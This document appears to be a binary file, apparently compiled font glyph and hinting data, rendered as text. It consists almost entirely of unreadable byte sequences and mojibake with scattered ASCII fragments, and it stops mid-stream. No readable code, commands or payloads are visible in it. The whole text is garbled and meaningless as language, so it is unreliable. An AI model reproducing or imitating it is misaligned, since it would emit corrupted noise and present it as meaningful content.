2�!+��9��9017!>323##"&'!DX+\+�#�12��/3�F��#�J��{-/����j)-e�+/��/�!�!
+�@	+�/���./�ֱ���/�
+�@	+��	+�&�/+�+�9��&99901>732654.#"'67!!>32#"&�?|V��"N}Z?|/	��'Of�wB[��}N�Z-T+��9gK+�g�+/��9q�h��{<���m� 2c�+�$
�+�
	�.
+�	��3/�ֱ!�!�)+��4+�!�9�)�999��
999�.$�9990146$7>32#".732>54.#"�\�'��ǏX-��R�{JT��^u��Fݒ�=iM.+Je9;kN-7�@��1-*a��pNp7s�{y�{@D��0��)MsLRrJ#)Ps��hd)
�/���/�+��901467!.'!.����7]+
�K�0�M("�+m��`�#3Cj�+�'
�
+�A��D/�ֱ$�$�4 ���/�4�$�*+��> ���E+�>4�
'/$9�A'�/9$9014>7.54>32#".732654.'>54&#"m7Xj6b�Dt�^^�uD�d5mX7V��_`��Vٓ���-Ni==kK-1'AX/1WA'ywwxyV�bD/�}P�\44\�P�/Ab�Vm�a++a�s��r9_J77J^�3P:++:P3\oom�NR9 0k�+�
�/�&
�./�
��1/�ֱ!�!�++�
�2+�!�999�+�999�
�9��9��9�.&�
999014>32&'467>7#".732>54&#"mT��^u��F\����}˔X+��T�{I�+Ie9;kN-��{�Ly�}?C�᜴����'9+
`��pNr7s��RsI!)PrH���{��s'/K�+�33��	22�+�!33�*�'-22�0/�ִ-$2��	!$'$2�1+017467>32#"&'.467>32#"&'.{79797979q;997V;997;��'$��+�33��"22�%/�"ֱ22��22�"+��/��"�!"
+�!+�&+�6�=��+
�.�.�������....�@�
�
9��99901>32#"&467>32#"&'.;y3/:�31O7979���8�;997��!�47&�
T
�`����71Z9%3���15Z3��!�
0�/��/���/�ְ2�+�
$2�+01467!!.467!!.�e��e��3433�3433���467.5467%.�V	
����b!5��5!71��/3�3X����!9��4+�1733�(�%+22�+��2�
+�	+�+�:/�ֱ8+�,�,8+��/��,�+��;+�6�&�.��.ɰ6�O�+
�������–+��+��+� � �#9�9�...�....�@��(4$901>32#"&'>54&#".467>32#"&'.X1TPR/�Tqw%/51NzV.��\p<�999A�ܴh�d;
�L4G_Ahw'T�9797s����AP��+�+�+�L�)+�=/�5�/�3�E�#2�Q/�ֱ0�0�+�B�B�(+�
-+�R+�6�>��b+
�H�I�� ���� HI....� HI....�@�(B�+5;$9�5�89�E�9�L�
(0$9014$!2#"'#"&54>3232>5!"3267'"$&%3267.#"s����uL�́�R;�X��_��yR�G�<V�]/������w\��}d�G������{�\\/N2p,P�e9��w2�T������y?#)����`�%e��\�������FH+FZ��hcNCw�!����K�+�3�+�
+���/�ֱ��+��+��$9��9013>32#"&'!#"&!!�=!=�=7g��d57Z����?T������f�)4h�+��+�1�*)
+�*	��5/�ֱ
�*2��#+��. ��	
�6+�.�$9�)�9�*�9�1�	9013>32#"&732>54.+532654&#"�3�^u��L'AV-9u^;^��}N�}X+J�b95\J������)K�
)\�i?mT7
1Z�bw�g-�<dNLh?�yyury����$=� +��+���%/�ֱ�&+� �9��999��9014>32.#"3267#"$&y^���u�B9BP3�F�oV�=-
V�h���^װ�l!/P-

���ՌEXR%!i����!�B�
+��+���/�ֱ

�
�+��+�
�
99��9013>3 !"&732>54.#"�F�^��y�}`��T/yƐNN��w'\#��w������7�ߨ�ى>���J�+��+��	
+�	��/�ֱ
�2�
+�@	+�@	+�@
	+�+013!!!!!�)����!i�)20�Z/0�)11�����@�+�+�	�

+�
��/�ֱ
�	2�
+�@	+�@	+�+013!!!!#"&�����+37�00�P//�^y����,e�(+��(
+�	+�+��� ��	��-/�ֱ��+�#
�.+��(999�#�99��99014>32.#"3267>32#"$&yb���u�E9�em�}FH��mBa#55+foo1����`װ�l/P-N�ۍ�ӎC
@�1	g������?�+�3�+�
3�
+��� /�ֱ
�2��+�	2�
�!+013>32!>32#"&'!#"&�55s5757��37���_�?��V�����
!�+�+�/�ֱ
�
�+013>32#"&�5537��?9����8�+��+�
��/�ֱ
�
+�@	+�+�
�901346732>5!.5467!#"&9?#%LA)���5g�\1c)Z/)RE�2/��{�e+�����
#�+�3�+�3�/�ֱ
�+013>32#"&>32	#"&'�5555��7=!�-!?8��?���=����,�+��+�/�ֱ
�
+�@	+�+013>32!�34B���01+�����#N�!+�3�+�3�$/�ֱ��+��%+��9��	99��9�!�99013>32	>32#"&'#"'#"&�A?C}>AF33/��)+''��/11��f��?y��N�������H�+�3�+�3�/�ֱ��+��+��9��9��99013>32>32#"&'#"&�33�5123�}33���R�?L��}��X�'D�+��+�#��(/�ֱ��+�
�)+��99�#�
99014>32#".732>54.#"}L�ꠠ�JJ�頠�L�1c�ff�c11c�ff�c1ߦ�ss�馦���qq���՗PP�Շ�זPP�����9�(L�+�+�&�
+���)/�ֱ
�2��!+��*+�!�99�&�9013>32#"&'#"&32>54.#"�T\\+q˙Z`��i';#177�!1/?~b;3ZJL9�-o����s/���Fy`TsEw��f�'/��+��+�#�+/�0/�ֱ��(+�+�
�1+�6�&�+(.��(+.ɰ6��+
�(�/��+�,��,/..�,/..�@��99�#�
99014>32#".732>54.#">7wL�꟠�JJ�ꠠ�L�1b�ff�c11c�gf�b1�ߦ�ss�馦���qq���՗PP�Շ�זPP���9J-R/\+�����*Q�(+�3�+�!
��+/�ֱ%
�%�+��,+�%�9��999��99�!(�9013>32#"'57>54&#"#"&�-JHN/h͠d5Ri1�7F78�)7{hF��#;%79�)f��P�gL���2PpP����^���4��0+��2�+�
�� ��	�0+�5/�ֱ+�"�"�	+�-�6+�6�&�.��.ɰ6��m�+
��3�������n+�+��43+� � �#9�439�34...�34....�@�"�9�	�)0$9�-�99�0�9017>732654./.54632.#"!".^D�k��#FhFu;bH)��b�C
#7�\��#9N+sRZ/���?gXR'-^-$�u9R;2/;VqN��!VT!hi+C4)-!H`�X��	+��
�$�+�+��
2�/�ֱ
�+01467!!#"'!.+���/792��f/.2��
2�����7�+��+�3� /�ֱ
��+�
�!+��90163232>5632#".�1970!IyXXwJ!35917}Ȑ��}7Xi���q55q�D����TT��-����=�+�+�
3�/�ֱ��+�
�+��99��901>32	632#"&'-??us7:;�!A?����?7��'�%��"+�3�+�+�+�33�+�+�&/�ֱ��+�
�'+�6�>"�+
�.����������+
�.��������...�.......�@��%9901>32>32	>32#"&'	#"&'7C;�/;=13;��BE���C?��5��(��?��+�����+�3�+�3�/�+013	>32	#"	>;2	#"'+m��576$��;13%(7 ��n=3-@��D����J��%����0�+�+�3�/�ֱ
�+��9��901>32	>32#"&'%=?XT59�357��$��Z��1X�.�+��+���/�+��9��
9017!.5467!!!1�v�����21�31f��'9�/�
�	/���/�ִ
+�2�
�
+�222�+01!#3f�����l&)��()B����
�
+�+�/�+01>32#"&'B45�13��?f��'C�
/��/�
��/�ְ2�
+���/��
+�/�

33�+01473#.547!!&f	��	��H��/#!7/��'}����+�/�+01>32#*'"#"&}L77G./��01���1$���L���	/����/�
+01467!!.��f%#('#%���"�+�	+�
/�ִ	+�+01>32"&'=%!D�/17���b���3.r�+�%�+��,
+�)3���//�ֱ � �(+�2��0+� �99�(�$9�%�9�,�9��9��9014>3254&#"&5>32#".73267.#"bH{�XBS{uH|<'F�N��H�jd�p>�-DR$/e'^!�7X�Y+'y^D^��o$%R^=F%
N^���L�&\�+�	�+�!
�!
+�@	+�'/�ֱ�2��+��(+��99��9�!�9��9017>32>32!"&732>54&#"�79%�o^�r@���Z��%S-L�^8w�/]M/!���=Z=�LJ���#�0`�g��CqPf���3=�+�	�+�
	��/�ֱ�+��9�
�999��9014>32&#"3267 fB��V�;d�����=i5y�����uɓV#\##ѬŶU-/)j���&\�+��+�"�"
+�@	+�'/�ֱ��+�2��(+��99��9�"�9��9014>32>32#".73267.#"jL��w5m)97N�woƓW���5[#)_7T{P&�ѕR
��@8Ȕè
�=k�d��3&j�+��+�$�
+���'/�ֱ�2��+�
�(+��999�
�
999��9��9��
99014>32!327#".7!4.#"d<{�m�o9�5����D�b�ͅ>�<\?}�u˕XJ��h?��4X+P���9hN/�7���&X� +�+�3�%�2�/�	��'/�#ְ2��2�#
+�@	+�#
+�@#	+�(+��
9��
90147354632.#"!!#"&'#&7�º3N#8'-H3
��79��-#I��
3J'3\HC)+'%��{!L�X38JV��+�T�+��6/�>�G/�-�%/�N��W/�ֱK� ��9�9�* ��#+�/�*#+�K�Q+� �A Q+�1
�1A
+�@1	+�X+�K�	99�Q*�%.6>G$9� �/999�G>�199�-�/99�%�*99�N�	'99�� KQ$9��901467.5467.54>32>3##"'#"&732654&/"#"32654&#"LZH)8D9DQ9m�g\�6)�T�>p�\TD75]��V��y�ݾ%D\7��Nh�W-.@hoojknoh�T�&P;Lo+/�_N�d95)!+'/1#Q5T�`3D'%7��T�a3��-9#lR=B13@`|{ab}}����&B�$+�3�
+���'/�ֱ!�2�!�+��(+�!�
9�$�9013>32>32#"&'4&#"#"&�797Pi?��67ab7gM-9:���A7#��fb��'T�`��T����'x�+�+�33�"�%22�+�
��(/�ִ+���/��+�/�3�� ���/��)+��
9��"99901467!#"&'#.467>32#"&'.TL78�Z==;=�+��{+�9989������2y�!+�$33�-�*022�+��/�3��� ����3/�
ֱ��+�/��% ��1�1/�%�4+�1�99�%
�!-9901>732>5#.5467!#"467>32#"&'.R1B91 �L1XwFo�=;;=��'Q!#F=�++��\{L!�3323����
 �+�3�+�/�ֱ�+013>32#"&>32	#"&'�6987�N47���5:��#%�������N�/�+�
�

+�
	+�/�ֱ�+�
�901>323267#".�77#/0R#;fN-��`9A#
HT
Bn���H3>i�<+�,33�+�+�3�3
�%2�?/�ֱ9�
2�#+�9�/+�)�)�!+��@+�)�9�!�9�3<�
99013>32>32>32#"&'4&#"#"&'4&#"#"&�*&8Lb<{�"<J^<��97Vbh�77Q[3ZC'79d#%C5!dZ#E5!��bb������q��-Z�Z�����3(V�&+�3�+�+���)/�ֱ#�
2�#+�#�+��*+��&9�#�9�&�
9013>32>32#"&'4&#"#"&�*&@Rk?��87Zc9fN/79i"#E7#��fb��)V�a��d��73D�+��+��� /�ֱ��+�
�!+��99��
99014>32#".732654&#"d<{�{{�{;;{�{{�{<׆�������uɓVV��uuȔTT��t��Ͷ�����L3"3n�+�&	�+�+�.
� /�4/�ֱ�#22�#+��++��5+�� 9�+�99� �99�.&�9��901>32>32!"&'#"&32>54&#"�+-:Pd>\�p@���-_"77�'QBJ{X3y�3_I-��+2-!=2=�LJ���
��
0b�g��%JpNj�3*a�+� 	�+��+�&	�/�+/�ֱ
��+� 2�	�,+��99��	9�& �99��9014>32#"&'#".73267.#"jP�Ӄs�R77+a;j��W�2XvH5a)'##Z�Y-�ՙT��

4{Ƌ\�T%
�=o�����#$@�"+�
+�3���%/�ֱ�
2�#+�&+��"9�
�
99013>32>32&"#"#"&�(,+�n#
$
7dP/77d#Ff*5N�k��b��F35p�3+��+� � � ����6/�ֱ#�#�+�.�7+�#�99�� )3$9�.�*999�3�9��#.$9017>732>54./.54632.#"#"&b7�A/V@'3D'G�w�P�9-}HLt2?%Z1X@'>p�`b�)S));%)5%1{h��)R#5C#1#-D`DL|X2#���R�+��� ���+�
�2�

+�@	+�/�ֱ�2� +��9�
�9013!!3267#"&5##`��#;-#=)Z3�������#+)�!Vg7)V!

��T����#?�+�
	�+�3�/�ֱ��+�� +��9�
�901>32327>32#".�89%JjFhJ76H�kd��M�H��b�Js�&#k�#��#!�+�+�3�/�+��901>32	>32#"&'#=?!99�f53��c��-��#%��"+�3�+�+�+�33�+�+�&/�'+�6�=��]+
�.��������@�,+
�.��������...�.......�@01>32>3>32#"&'#"&'-9;��5!/��-6��74��77��Z��L����%���#�+�3�+�3�/�+013632#"&>32#"'%�/;7��34��970�57/!����#�����!(��%+�"+�+�
33�/��� ����)/�ֱ��+�

�*+�6�=*�(+
��!��
���!�!+�"!+�! � �#9�!...�!"....�@��99��(99901>32	632#"&'46732>?"#"&'9A#-+99�h=N`@/\#@%/)"?#.�/��TsE/I%
91�;�.�+�	�+���/�+�	�9��9017!&547!!!;)���
��\%-+%��)+)%f���7D�./�(�/���8/�3ְ2�#�2�#3
+�#	+�9+�#3�9�(�399015>54>;"3".54.f7Q1P��NZ/(D11D(/ZN{�c))TX?RhF�ݖL('!LvV
q�hDCh�qTwI#()1g�mw�uR��=
�/�ֱ��+01>32#"&�2303����sf���7G�5/��/���8/�ְ2�0�%2�0
+�	+�2�9+�0�9��%099014672>=4>7.=4.#.546732#.fL\/)D11D)/]K��P1P7LS))c�z��&#IwTq�hDDh�p
VvL!'&L�ݑFhR@'Ru�wm�g1)'�����/�33�	�2� ��3�	�22�/�+�6��®+
�.�.���������œ+��+�+��+�+� � �#9�9�9�9�....�........�@��9901>323267#".#"&')�R/Z]\/)T3!'/V/\\]+1X1AF1G/G'/; /9��V�'%H�+�	33��22�&/�ְ2�� �	22�+��'+��#99901467>32#"&'.>32#"&�7;99

0127�;997�����!,��+�3��2��
+�+� /���-/�ֱ
��)+�2�$+�
2�.+�6���b+
�.�������
+��|�q+��+�
 � �#9�9�
....�
......�@�$)�99� �9��99��9014>75632.#"3267#"&'5&�8l�m% !);g/3oA����=g75m=!'%��j��^�

�)V!ϮǶU.���=�;A�/+�(�+�
�:/
+�33�:�"922�</�ְ2��(22�
+�@	+��% ��6
�6/�73�%
�$2�%6
+�@%	+�=+�6���~+
�.�$.����$�7���7+���#+�7+��$+�$+�"$+�����+�#$+��87+�97+�$ � �#9�#9�79�89�#$78........�"9#8........�@�(/�09�:�69��99��901473.54>32.#"!!!!'7>54&'#&��
7q�ym�59sLHd=��
%'-��''9#

��'(;z?X�{J!)R/-Mi9?o8)+'$%L'V�601+$%cjd)-Y/%X�u�(<x�#/�.�8/���=/�ִ)-+�)�3+�-+�>+�)�&$9�3�!%$9�� $9�.#�!%$9�8�$9��$9017.5467'>7>327'#"'.32>54.#"X�#%)%�=)�3yCDy5�%?�'++#�-H�m��l�-:�'F`79aF))F`:7`F';�3{DFz5�-:�#%%#�;%�5�EF{5�N+�JJ�?�9cJ++Jb:9bJ++Jb7����3j� +�%/�3�*�2�-/�3�2�2�2-
+�@2	+�2�4/�#ְ+2�
�2�#
+�@	+�2�#
+�@#'	+�/2�5+�#�901>32	>32!!!!#"&'!&5467!5!&5467!7?=PI79��7�w��w54��y��'���k�h$-�%-��B,%�-%��=
�/�
ְ2��2��+01>32#"&'>32#"&�230323)93R�V���V�����:NI�(/�0�/���O/�ְ+2�;� ���;�E+���# ��3�3/�#�P+�6��O�+
�8�6��>��B���6��+
�K�H������8�786+�>�?>B+�@>B+�A>B+�K�IKH+�JKH+�?>B � �#9�@9�A9�7869�JKH9�I9@6>?BHI78@AJK..............@6>?BHI78@AJK..............�@��-99�3�(0L$9�#� 999�0(�+9��#-L$9��901467.54>32.#"#"&'6732654&'.7>54&/.'�D1%@p�bf�L5}Rw�VH��D1!%F�m`�J&7�R��`H��g)�AF�
4;B�-T0�D5X9FsO+)R%!DEB3NB�P7T;HqP)ZE"JE;8+CFVX3@LN5+@-I��?�)1�/�#3��	$2�*/�ֱ��+�!�++01467>32#"&'.%467>32#"&'&�77548�77539;3/82135233/j��Z�'H}�+�#�/��D/�<�6/�-��I/�ִ+��(+�9#+�9�+�
+�J+�9�#-0BD$9�<D�B9�6�
(3?$9�-�090146$32#"$&732>54.#"4>32.#"3267#".jo����nn�窪���o�T�Ꮟ�TT�ᐏ�T�7d�\JX1-H-ux�p+N)`}^�f5ߢ�us�餤���uu����cc�僃�bb��\�uC%H!����C)+@r�`�,m�/�$�*/��/���-/�ִ+��&+�2�#+�.+��99�&�$9�$�9�*�9��9��9014>3254&#".5>32#"&73275.#";c�I)Fc`5f07�B��9�V���'9FLBAhuhHiC!ZDJ#���{�+3	
�FdT��>32	#"'>32	#"'dT39��M790�T39��M790#��>�7���>�7��0�
/��

+�@
	+�/�ֱ�
+�@	+�+01467!#"&'!.�V35�f�5��4`���
!�/����/�ִ+�+01467!!.`��=3424h��X�'I��+�#�/��B/�,�)2�B,
+�BH	+�82�J/�ִ+��(+�F+�F�?+�1+�1�+�
+�K+�?F�#,;$9�1�48:999��59�B�
1$90146$32#"$&732>54.#">32#"'7>54&#"#"ho����oo�窪���o�T�㍏�TT�ᐍ�Td5e;J{X3Z5�/+%�)1XVE%-+ߢ�us�餤���uu����cc�元�bb��9^@\p��mL;;B�j���
"�/����/�+�+�+01467!!.�(��B+)*)R{��H�+��/��� /�ִ+��+�
+�!+��99��
99014>32#".732654&#"R/Rl>=oR//Ro==mR/�VBBZ[ABV�?mP//Pm?=mP//Pm=FZZFF\\�!�
*a�/��)/� 3��2�)
+�@)%	+�+/�ְ2�+�2�+�
 $2�"+�'�'/�3�"�2�,+017467!!.47!>32!!#"'!&�e��T+-Q��-3'��^3433�1)u��-/��s)�s� <�/��/���!/�ִ-+�"+��9��999��901>54&#".'>32!!�B�{PbH=N#
?oD��^\P9���F��3B/K+�{\�\P%%�Z
�'��#/��2�/�/���(/�ֱ	+�-+�)+�6�&�.��.ɰ6����R+
��&������-��+�+��'&+� � �#9�'&9�&'...�&'....�@�	�99��	999��901>732654&#"'!&547!#".�5^/TyjD%����7T89d�P%;77}%JHNB=% #%��/?N%FlL'

���
"�+�
+�/�ִ	+�+01>32#"&
�A#%=��5!.�����7#,u�+�$+�	�+�3�*/�-/�ֱ'�2�'�+���+�/�.+�'�9��$9��!9��9�$*�'99��!&9901>3232>5>32#"&'.'#"'#"&�77x�3_J+67',1�r�S65���۴�#FnNc��MDX]��f���A�+�3�+�3�/�ִ+��+�/��+�+�+014>3"'#".2fJ��f1`�{Hf11y�k/�'�-b��L��?�o�,�/���	22�/�ֱ��	22�+01467>32#"&'.575737575!��1H�/�+�/�+�
+�@	+�/�ִ+�+��9��$901>72654&#"'3632#"&!
=BBLJ;;d�Dbj��U�)A'+)
�bNdg�s�>�	/��2�	
+�@	+�/�ִ#+�
+�@	+�+��901%33!.54673.��#�	��ſ��T#%'"!$�NA�\{�H�+��/��� /�ִ-+��+�
-+�!+��99��
99014>32#".732654&#"�/`�^^�^//^�^^�`/�cdfaafdcX�wFFw�XX�yFFy�X�������XR��7	>32	#"&%	>32	#"&XP��75V��19�P��75V��19\���:�;���:�;�����!;�� +�73�:/�33�&�-2�&:
+�@&*	+�	/��2�	
+�@	+�2�</�ִ#+�
+�@	+��9+�'2�5+�,2�=+��99�9� "#&$9�5�%9�: �99�&�"901%33!.54673.	>32#"%356323##"'5!��#�	��ſu�37�#19�PRD��%*))cc)$-'�V��T#%'"!$�NA���X��
(���%-������!B�� +�A3�:�	/��2�	
+�@	+�	�* ��3��C/�ִ#+�
+�@	+��'+�6-+�D+��99�'� "03:B$9�: �"999�	�$'6999�*�-9��9�3�0901%33!.54673.	>32#"%>54&#".'>32!!�#�	��ſX�37�#197B�{PbH=N#
?oD��^\P9����T#%'"!$�NA���X F��3B/K+�{\�\P%%�����'4N�3+�M/�F3�9�@2�M9
+�@MJ	+�9M
+�@9=	+�#/��2�/�/���O/�ֱ	+�-+��L+�:2�H+�?2�P+�6�&�.��.ɰ6����R+
��&������-��+�+��'&+� � �#9�'&9�&'...�&'....�@�	�03$9�L�)/569$9�H�89�9M�59��	68$901>732654&#"'!&547!#".	>32#"%356323##"'5!�5^/TyjD%����7T89d�P%;77?�37�#19�PRD��%*))cc)$-'�V}%JHNB=% #%��/?N%FlL'
����X��
(���%-��}�\�%!9��(+�%+33�4�1722�/�
�2�
+�	+�/�:/�ֱ��8+�,�,8+��,�+�2�;+�6�&�.��.ɰ6�O�+
��������+��+� � �#9�9�...�....�@��(4$9014>756723267#"&467>32#"&'.}Tqv%/60N{V-��\q;1TPQ0�H9A99h�e;
���4H`?hx'S/
�s9797!���##&M�+�3�+�$
+���'/�ֱ��+��(+��$%$9�$�&9013>32#"&'!#"&>32#"&'!!�=!=�=7g��d57�G%%L!�/:9�����?T������!���#'M�+�3�+�
+���(/�ֱ��+��)+��!$9��9013>32#"&'!#"&!7>32#"&!�=!=�=7g��d57Z���!J%'E��91��?T���A��!���!.1M�+�3�+�/
+���2/�ֱ��+��3+��/0$9�/�19013>32#"&'!#"&7>32+"&/+"&!!�=!=�=7g��d57��=##;�--7��:0+p����?T��?��}}���!���H14��+�3�+�2
+��,/�+3��2�,+�3�'�(2�5/�ֱ��+��6+�6��µ+
�+.�.�+����(���t��+��+�+�+�)+(+�*+(+� � �#9�9�*+(9�)9�)*....�()*+........�@��$23$9�2�49�'�$/999013>32#"&'!#"&>323267#".#".!!�=!=�=7g��d57�!kC+VRP)';)/#iA-VRP'+;'%�����?T���%D!%!'9@#?'##7�L�!���'*-B��+�3�+�+
+��)/�#&:=@$3��036$2�C/�ֱ��+�!�!�.+�8�8�+��D+�!�+999�.�-99�8�,999�+�-9013>32#"&'!#"&47>32#"&'&!47>32#"&'.!�=!=�=7g��d57�59	77j��j7758��?T���36/89/3����/:52531!���}+��+�3�/��)/�+�,/�ֱ��+� +� �&+�
+�
�+��-+��9� �99�&�99�
�
99��9�)�

#$9013.54632#"&'!#"&!32654&#"!�9D�mj�C9�=7i��f57Z��k<559955<�lHh��iHl�DT����;JJ;;JI����
�"&[�+� 3��+�	�# 
+��
 
+�
��'/�ְ$2�
�	2�
+�@
	+�@	+�@	+�(+01#!!!!!!!#"&!#
`�����h����;!;���-2�D)11� /1X��
w���C��!+��?+�+��+/�3+�8/�%+�D/�ֱ��5+�(+�E+�5@
!"%+.<?$9�83�(1;999�%�<9�!�9��999014>32.#"3267+>32#"&'>73254&#"'>7.w^���u�@9BP3�F��lX�=	��"#
qh��Z+
H9�F=9'�ˍLհ�l!/N-

���ՎE+T-BXkLdi	AP'3d6y����#%R�+��+��	
+�	��&/�ֱ
�2�
+�@	+�@	+�@
	+�'+��9013!!!!!>32#"&'�)����!i�G%%L!�/:9�)20�Z/0�)11���#&J�+��+��	
+�	��'/�ֱ
�2�
+�@	+�@	+�@
	+�(+013!!!!!7>32#"&�)����!i���!J%'E��91�)20�Z/0�)11;����!0R�+��+��	
+�	��1/�ֱ
�2�
+�@	+�@	+�@
	+�2+��9013!!!!!7>32+"&/+"&�)����!i���=##;�--7��:0+�)20�Z/0�)11;��}}��',A��+��+��	
+�	�+/�%(9<?$3��!/25$2�B/�ֱ
�2�
+�@	+�@	+�@
	+�� ��#��-+�7�C+��(99�7-�
99013!!!!!47>32#"&'&%47>32#"&'.�)����!i�59	77�7758�)20�Z/0�)11�36/89/33/:52531����#)�+�+�/�
ֱ
�+�
�	99901>32#"&'>32#"&+G%%L!�/:9:5537�����?���s#
)�+�+�/�ֱ
�+��999017>32#"&>32#"&��!J%'E��915537;������?�����!%'�#+�+�&/�ֱ 
�'+� �99017>32+"&/+"&>32#"&I�=##;�--7��:0+�5537;��}}����?���m'!6\�+�+�/�.14$3��$'*$2�7/�ֱ
�
+��/�
��"+�,�8+�
�990147>32#"&'&>32#"&47>32#"&'./59	77�5537�7758�36/89/3�}��?�/:52531��3�/]�+��+�#�
+�.3��'2�0/�ְ2�
�&2��+��1+��+999��99014673>3 !"&'#.32>54.#"!!�F�^��y�}`�C��S/yǏNN��w'\"K���+��w�����
�)��7�ߨ�ى>�++,����H8
�+�3�+�3�3/�23�!�"2�&!3+�%3�.�/2�9/�ֱ��+��:+�6��µ+
�2.�%.�2�"��%�/���t��+�"�#"%+�$"%+�2�02/+�12/+�#"% � �#9�$9�12/9�09�#$01....�"#$%/012........�@��99��!).6$9��+99��99�3.�+699�&�9�!�)9013>32>32#"&'#"&>323267#".#".�33�5123�}33�!kC+VRP)';)/#iA-VRP'+;'%���R�?L���%D!%!'9@#?'##7y��T#'4G�+��+�#��5/�ֱ��+�
�6+��(/$9�#�
99014>32#".732>54.#">32#"&'yL�ꠠ�JJ�頠�L�1c�ff�c11c�ff�c1#G%%L!�/:9ߦ�ss�馦���qq���՗PP�Շ�זPP����y��T#'5G�+��+�#��6/�ֱ��+�
�7+��(/$9�#�
99014>32#".732>54.#"7>32#"&yL�ꠠ�JJ�頠�L�1c�ff�c11c�ff�c1��!J%'E��91ߦ�ss�馦���qq���՗PP�Շ�זPP�����y��T!'?G�+��+�#��@/�ֱ��+�
�A+��(0$9�#�
99014>32#".732>54.#"7>32+"&/+"&yL�ꠠ�JJ�頠�L�1c�ff�c11c�ff�c1#�=##;�--7��:0+ߦ�ss�馦���qq���՗PP�Շ�זPP�����}}y��TH'B��+��+�#�=/�<3�+�,2�0+=+�/3�8�92�C/�ֱ��+�
�D+�6��µ+
�<.�/.�<�,��/�9���t��+�,�-,/+�.,/+�<�:<9+�;<9+�-,/ � �#9�.9�;<99�:9�-.:;....�,-./9:;<........�@��(5$9�#�
99�08�(5@999014>32#".732>54.#">323267#".#".yL�ꠠ�JJ�頠�L�1c�ff�c11c�ff�c1#!kC+VRP)';)/#iA-VRP'+;'%ߦ�ss�馦���qq���՗PP�Շ�זPP��{%D!%!'9@#?'##7y��T'';Pv�+��+�#�:/�47HKN$3�*�-0>AD$2�Q/�ֱ��(+�2�2�<+�F�F�+�
�R+�<2�#$9�#�
99014>32#".732>54.#"47>32#"&'&%47>32#"&'.yL�ꠠ�JJ�頠�L�1c�ff�c11c�ff�c1=59	77�7758ߦ�ss�馦���qq���՗PP�Շ�זPP��R36/89/33/:52531�\�P7.'>7>7'&�?{=C%�=|?J7{}}{C#��L�=}>%A�?y@7J}{{}%C��3s��R�#-7w�"+�+�0�+�	+�)��8/�ְ2�$�$�5+��9+�$� "999�5�	'.$9��
9�0"�9�)�&7$9��90137&54>327>32#"&'#"&'"32>54's�HGL��u�GF'(�LJJ��{�JI#//�7X`�f�b1�d�f�c1@�d���s=<a�f�����qB=f�щ7dP���nP�ՇՒ����#,B�+��+�3�-/�ֱ
��+�
�.+�� 9��#',$90163232>5632#".>32#"&'�1970!IyXXwJ!35917}Ȑ��}7�G%%L!�/:9Xi���q55q�D����TT��T�����#-B�+��+�3�./�ֱ
��+�
�/+�� $($9��'90163232>5632#".7>32#"&�1970!IyXXwJ!35917}Ȑ��}7}�!J%'E��91Xi���q55q�D����TT��v������!7I�+��+�3�8/�ֱ
��+�
�9+�� 9��!'/1$9��(90163232>5632#".7>32+"&/+"&�1970!IyXXwJ!35917}Ȑ��}7��=##;�--7��:0+Xi���q55q�D����TT��v��}}����'3Hm�+��+�3�2/�,/@CF$3�"�%(69<$2�I/�ֱ
� +�*��+�
�>+�4�4/�>�J+�4*�990163232>5632#".47>32#"&'&%47>32#"&'.�1970!IyXXwJ!35917}Ȑ��}7�59	77�7758Xi���q55q�D����TT���36/89/33/:52531%���#%5�+�+�3�&/�ֱ
�'+�� #$9��901>32	>32#"&'7>32#"&%=?XT59�357%�!J%'E��91��$��Z�� �����9�.V�+�+�++�.3�
�!

+���//�ֱ
�22��&+��0+�&�
99�+!�9013632>32#"&'#"&32>54.#"�186#;#jˠ``��k#;#77�'/+?~b==b}@)/)��/s����q/���Fza`{C���D�>v�<+�+�#�5/���?/�ֱ9�9�2+��2+�-�-/��&2+��@+�-9� 99��#*5$9�#<�9�5� 9990134>32#"&'>732654.54>54&#"#"&�)`�rd�\+9F91HTG2��Nt6/[/Fd/HTH/:C:]X{T47�w��F6ZyC\}cV7+;16GgL��)Q'<R1?12?ZFHhboNP^���b����,;~�+�2�#+�+��9
+�63���</�ֱ-�-�5+�2��=+�-� 999�5�#',$9�92�9��99��9�#�)9014>3254&#"&5>32#".>32"&'3267.#"bH{�XBS{uH|<'F�N��H�jd�p>\=%!D�/17�-DR$/e'^!�7X�Y+'y^D^��o$%R����z=F%
N^b����.<��+�%�3+�+��,
+�)3���=/�ֱ � �(+�2��>+� �99�(�/37$9��69�,%�9��99��9�3�:9014>3254&#"&5>32#".73267.#">32#"&bH{�XBS{uH|<'F�N��H�jd�p>�-DR$/e'^!��A#%=��5!.7X�Y+'y^D^��o$%R^=F%
N^%��b����4C��+�:�$+�+��A
+�>3���D/�ֱ5�5�=+�2��E+�5� 3$9�=�!'.0$9��(+99�A:�9��99��9�$�+9014>3254&#"&5>32#".>32#"&/#"3267.#"bH{�XBS{uH|<'F�N��H�jd�p>H�C?�0?��;;Z-DR$/e'^!�7X�Y+'y^D^��o$%R�������=F%
N^b����:I&�+�@�+��G
+�D3��0/�13�(�'2�5(0+�43�#�$2�J/�ֱ;�;�C+�2��K+�6���K+
�4.�'.�4�$��'�1���$ĝ+�$�%$'+�&$'+�4�241+�341+�%$' � �#9�&9�3419�29�%&23....�$%&'1234........�@�;� 8$9�C�#(05$9��+-99�G@�9��9��9�(0� -8999014>3254&#"&5>32#".>323267#".#".3267.#"bH{�XBS{uH|<'F�N��H�jd�p>LbC+NHJ)#;+-!dA+NJH')9) w-DR$/e'^!�7X�Y+'y^D^��o$%R{);!'7F'9!#;�=F%
N^b����5DX��+�;�+��B
+�?3��3/�R3�#�&)HKN$2�Y/� ֱ+�6+ +��/�6�+�>+�2���P ��E�E/�P�Z+�+ �9�E�;B$9�B;�9��9��9014>3254&#"&5>32#".467>32#"&'.3267.#"467>32#"&'&bH{�XBS{uH|<'F�N��H�jd�p>u77548V-DR$/e'^!�L775397X�Y+'y^D^��o$%R^3/821�=F%
N^�35233/b���f.:F��+�%�+��,
+�)3��8/�>+�D/�2+�G/�ֱ � �/+�;+�;�(+�2��5(+�A+�A/�5+�H+�A;�%,28$9�,%�9��9��9�D>�5/99014>3254&#"&5>32#".73267.#"4632#"&732654&#"bH{�XBS{uH|<'F�N��H�jd�p>�-DR$/e'^!�{bb{{bb{y311551137X�Y+'y^D^��o$%R^=F%
N^�byxcbyyb5==55>=Z��P38JS��4+�.3�>�&2�+�3��Q2�� ���K#4
